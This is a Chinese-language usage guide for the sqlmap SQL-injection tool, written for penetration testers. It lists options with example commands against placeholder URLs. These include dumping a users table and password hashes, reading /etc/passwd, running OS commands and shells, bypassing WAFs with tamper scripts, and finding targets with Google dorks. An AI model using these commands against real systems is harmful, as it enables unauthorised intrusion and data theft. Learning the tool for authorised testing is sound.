sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。
git地址:
https://github.com/sqlmapproject/sqlmap
安装:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
基本使用帮助:
python3 sqlmap.py -h
全部指令帮助:
python3 sqlmap.py -hh
主要用途:
- 检测 SQL 注入漏洞:自动检测网站或应用程序中的 SQL 注入安全漏洞。
- 利用 SQL 注入漏洞:通过漏洞提取数据库信息,甚至控制底层数据库服务器。
- 数据库管理:支持广泛的数据库管理系统并允许用户直接连接数据库。
工具总结:sqlmap
工具功能
sqlmap 是一款开源的渗透测试工具,专注于自动化检测和利用 SQL 注入漏洞,并可以实现对数据库服务器的控制。它拥有强大的检测引擎,丰富的功能和设置,适合专业的渗透测试人员使用。
主要用途:
- 检测 SQL 注入漏洞:自动检测网站或应用程序中的 SQL 注入安全漏洞。
- 利用 SQL 注入漏洞:通过漏洞提取数据库信息,甚至控制底层数据库服务器。
- 数据库管理:支持广泛的数据库管理系统并允许用户直接连接数据库。
核心功能:
- 广泛的数据库支持
支持多种数据库管理系统,包括 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite、MariaDB 等。 多种 SQL 注入技术
- 基于布尔值盲注(Boolean-based blind)
- 基于时间盲注(Time-based blind)
- 基于错误信息(Error-based)
- 基于 UNION 查询(UNION query-based)
- 堆叠查询(Stacked queries)
- 带外通信(Out-of-band)
数据库信息枚举
支持枚举:- 用户、密码哈希值
- 权限和角色
- 数据库、表和列信息
密码破解与数据导出
- 自动识别密码哈希格式,并支持基于字典的破解。
- 支持完整表导出、部分条目导出,或特定列的导出。
高级文件和命令操作
- 在特定数据库系统(如 MySQL、PostgreSQL、Microsoft SQL Server)下,支持从数据库服务器的文件系统下载/上传文件。
- 支持在数据库服务器操作系统上执行任意命令,并获取输出。
高级控制功能
- 通过带外 TCP 连接(如命令行、Meterpreter 会话、VNC 界面)与数据库服务器建立连接。
- 支持通过 Metasploit 的 getsystem 命令提升权限。
适用人群
适合渗透测试人员和网络安全研究人员,用于测试和加强系统安全性。
sqlmap使用说明
1. 基本命令
python3 sqlmap.py -u <URL> [OPTIONS]
-u <URL>
: 指定目标 URL,最基础的用法。- 示例:
python3 sqlmap.py -u "http://example.com/vuln.php?id=1"
- 示例:
--batch
: 自动确认所有提示,避免手动输入,适合批量操作。- 示例:
python3 sqlmap.py -u "http://example.com" --batch
- 示例:
--wizard
: 简化模式,适合初学者,引导输入常见选项。
2. 配置目标
2.1 指定目标
-u <URL>
: 指定目标 URL。-d <DIRECT>
: 使用数据库直接连接字符串。- 示例:
-d "mysql://user:password@localhost/dbname"
- 示例:
-l <LOGFILE>
: 从 Burp Suite 或 WebScarab 的代理日志文件中提取目标。-m <BULKFILE>
: 从文件加载多个目标 URL。- 示例:
-m targets.txt
- 示例:
-r <REQUESTFILE>
: 从 HTTP 请求文件加载目标。- 示例:
-r request.txt
- 示例:
-c <CONFIGFILE>
: 从配置文件加载参数。
2.2 搜索目标
-g <GOOGLEDORK>
: 使用 Google Dork 搜索目标。
- 示例:
-g "inurl:index.php?id="
- 示例:
3. 请求设置
3.1 请求头
-A <AGENT>
: 设置 HTTP 的User-Agent
头。- 示例:
-A "Mozilla/5.0"
- 示例:
--random-agent
: 随机设置 User-Agent。--headers
: 添加自定义请求头。- 示例:
--headers="X-Forwarded-For: 127.0.0.1"
- 示例:
3.2 请求方法
--method=<METHOD>
: 指定 HTTP 方法(如GET
,POST
,PUT
)。- 示例:
--method=POST
- 示例:
--data=<DATA>
: 指定 POST 数据。- 示例:
--data="id=1&action=edit"
- 示例:
3.3 Cookies
--cookie=<COOKIE>
: 设置 Cookie。- 示例:
--cookie="PHPSESSID=12345"
- 示例:
--load-cookies=<FILE>
: 从 Netscape 格式的 Cookie 文件加载。
4. 优化性能
--threads=<NUMBER>
: 设置并发线程数(默认 1)。- 示例:
--threads=10
- 示例:
--keep-alive
: 使用持久连接。--null-connection
: 不接收 HTTP 响应内容,仅比较响应长度。
5. 注入检测
-p <PARAMETER>
: 指定需要测试的参数。- 示例:
-p id
- 示例:
--level=<LEVEL>
: 设置测试深度(1-5,默认 1)。- 示例:
--level=3
- 示例:
--risk=<RISK>
: 设置测试风险级别(1-3,默认 1)。- 示例:
--risk=2
- 示例:
--technique=<TECHNIQUES>
: 指定测试技术(默认 BEUSTQ)。技术说明:
B
: 布尔型盲注E
: 错误型注入U
: 联合查询注入S
: 堆叠注入T
: 时间盲注Q
: 内联查询
- 示例:
--technique=BEU
6. 漏洞利用
6.1 枚举信息
-b
或--banner
: 获取数据库的 Banner。--current-user
: 获取当前数据库用户。--current-db
: 获取当前数据库。--dbs
: 枚举所有数据库。--tables
: 枚举指定数据库的表。- 示例:
--tables -D testdb
- 示例:
--columns
: 枚举表的列。- 示例:
--columns -D testdb -T users
- 示例:
--dump
: 导出表内容。- 示例:
--dump -D testdb -T users
- 示例:
6.2 搜索信息
--search
: 搜索列、表或数据库名。
6.3 直接执行 SQL 语句
--sql-query=<QUERY>
: 执行 SQL 查询。- 示例:
--sql-query="SELECT user,password FROM users"
- 示例:
--sql-shell
: 进入交互式 SQL Shell。
7. 文件与操作系统访问
7.1 文件操作
--file-read=<PATH>
: 读取目标文件。- 示例:
--file-read="/etc/passwd"
- 示例:
--file-write=<PATH>
: 写入文件到目标系统。
7.2 操作系统访问
--os-cmd=<COMMAND>
: 执行系统命令。- 示例:
--os-cmd="ls"
- 示例:
--os-shell
: 获取交互式操作系统 Shell。
8. 防御绕过
--tamper=<SCRIPT>
: 使用混淆脚本绕过 WAF 或 IPS。- 示例:
--tamper="space2comment"
- 示例:
--skip-waf
: 跳过 WAF 检测。
9. 报告与日志
--output-dir=<DIR>
: 指定输出目录。- 示例:
--output-dir="results"
- 示例:
--save=<CONFIGFILE>
: 保存当前配置到文件。--har=<FILE>
: 记录所有 HTTP 流量到 HAR 文件。
10. 示例用法
检测目标 SQL 注入:
python3 sqlmap.py -u "http://example.com/vuln.php?id=1"
指定参数和技术:
python3 sqlmap.py -u "http://example.com" -p "id" --technique=BU --level=3 --risk=2
获取数据库信息:
python3 sqlmap.py -u "http://example.com/vuln.php?id=1" --dbs
导出数据库表:
python3 sqlmap.py -u "http://example.com/vuln.php?id=1" -D testdb -T users --dump
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。